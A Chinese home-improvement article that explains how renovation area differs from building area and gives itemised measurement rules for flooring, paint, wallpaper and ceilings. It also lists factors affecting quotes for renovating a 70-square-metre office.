装修是按建筑面积还是实际面积？是怎样计算的？

如今装修风格多样，装修材料也是花样百出，各种档次的装修均有，花费自然也有很大差别。大家也知道很多的装修材料及费用是根据面积计算的。我们在买房子的时候会涉及到建筑面积和实际面积两种说法，那么装修面积是指的建筑面积还是实际面积?下面小编给大家具体介绍下装修面积指的是什么，以及装修面积的计算方式是怎样的?装修面积指什么?装修面积是指计算家庭装修中所需要测量的内容大致分为墙面、天棚、地面、门窗等几个部分。使用面积从字面意思上即可理解为户主真正所使用的面积。专业的说法是指建筑物各层平面中直接为生产或生活使用的净面积之和。建筑面积大于使用面积，它是在使用面积的基础上还加上了墙体所占用的面积。专业的说法是指住宅建筑外墙勒脚以上外围水平面测定的各层平面面积之和。通俗地讲，建筑面积包含使用面积，使用面积可以简单描述为地砖可铺设的地方。一般使用面积占据建筑面积的70%左右。装修面积计算方法1、人工铺贴地砖：实际安装面积，长×宽2、人工铺贴墙砖：实际安装面积，长×宽，扣除门窗面积，周边展开计算(或门窗洞口面积减半)3、强化木地板：实际安装面积+实际安装损耗+收口条，踢脚线等辅料4、实木地板：实际安装面积+实际安装损耗5、墙面乳胶漆：实际涂刷面积，长×宽，扣除门窗面积，周边展开计算或门窗洞口减半计算(不扣除0.3m2以内的孔洞所占面积,不扣除阴角线及踢角线高度)6、顶面乳胶漆：实际涂刷面积，长×宽7、墙纸：按实际铺帖面积(不扣除0.3m2以内的孔洞所占面积,不扣除阴角线及踢角线高度)8、窗帘盒：按实际米数计算，乳胶膝另计9、天棚吊顶：平顶按实际面积计算，造型按展开面积计算(乳胶漆另计)，扣板吊顶按实际面积+损耗计算。10、水电改造费：按实际发生改造米数使用材料费收取，改造人工费按实际改造工程量计算。11、柜子：除巳标明按组、件或按项计算的外，其余的均按水平方向的长度或背板面积或展开面积计算。12、阴角线：按实际安装米数计算13、油漆：按实际涂刷面积计算，不扣除1m2以内的孔洞所占面积我们都知道如今的建材是比较贵的，装修一个房子基本的装修几万块没有了，因而在装修时清楚各项费用也是必要的，尤其很多的装修材料以及工费都是按照面积来计算的，因而装修面积出入能关系到很多的费用问题。其实市面上一般装修面积说的都是实际要装修用料的面积，并不是建筑面积，小编在上文中也具体的做了说明，大家可参考。

影响实际面积70平米写字楼装修报价的因素

当有一个实际面积70平米写字楼装修报价时，。在缺乏案例参考和经验的情况下，通常不可能估计出近似成本。装修公司报价后，要么远远超出预期，要么心理预期过剩。怎样才能更好地估计办公室装修的成本呢？ 实际面积70平米写字楼装修报价之一：影响报价的因素在办公室与传统家居报价有很大的差异。什么原因会导致报价中存在差异？主要有几个原因： 由于地区不同，工程量也不尽相同，尤其是在劳动力价格快速上涨的今天，对办公装修总预算的影响越来越大。许多办公室装修增加了办公室的采光，或使办公室显得更加透明，大面积的玻璃隔断，使装修工程不可避免地会更加繁琐。 不要忽视不同施工工序对总预算的影响。施工过程对劳动力有很大的影响。例如，对于地砖，不同规格的地砖是不一样的。通常规格可以在一周内完成。对于非标准尺寸，可能需要两周或更长时间，最终会反映出来。总价格或预算。 实际面积70平米写字楼装修报价之二：办公装修报价中包含的工程项目，一般来说，办公装修报价大致分为以下几个项目： 顺序工程包括垃圾清运、垃圾清运、楼上材料、装修现场成品保护等。 地面工程地面是装饰、人工、材料、施工工艺等的重点之一。例如，人工成本、和熟练程度是非常不同的；例如，地毯、品牌、型号和价格是不同的； 踢脚线工程包括：主材踢脚板、辅助水泥、砂、不锈钢电缆等；隔断工程在每个装饰工程中几乎是必不可少的。钢化玻璃隔断、金属隔断、家具装饰隔断等。 门窗项目主要安装各类门、门框、钢化玻璃门、实芯木门、大芯板基材、不锈钢装饰门、哑光或窗套、高间隙门等。 办公家具：装修过程中，有些办公家具是在装修时做的，而不是到市场上购买的，所以也有必要计算装修成本。 实际面积70平米写字楼装修报价之三：墙通常是按面积计算的，装饰中设计的墙也包括在内。墙体工程包括：墙体基础处理、乳胶刷、材料品牌及价格、墙体施工工艺、标志墙制作、标志字材料、防水工程、墙砖铺设等。 天花项目；顶棚吊顶几乎是所有装饰工程都必须完成的，包括矿棉板的顶部、石膏板的顶部、铝格栅的顶部、顶部形状（轻钢龙骨形状、木形状）、乳胶漆刷、基层处理等。以上是影响到实际面积70平米写字楼装修报价的各种因素， var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();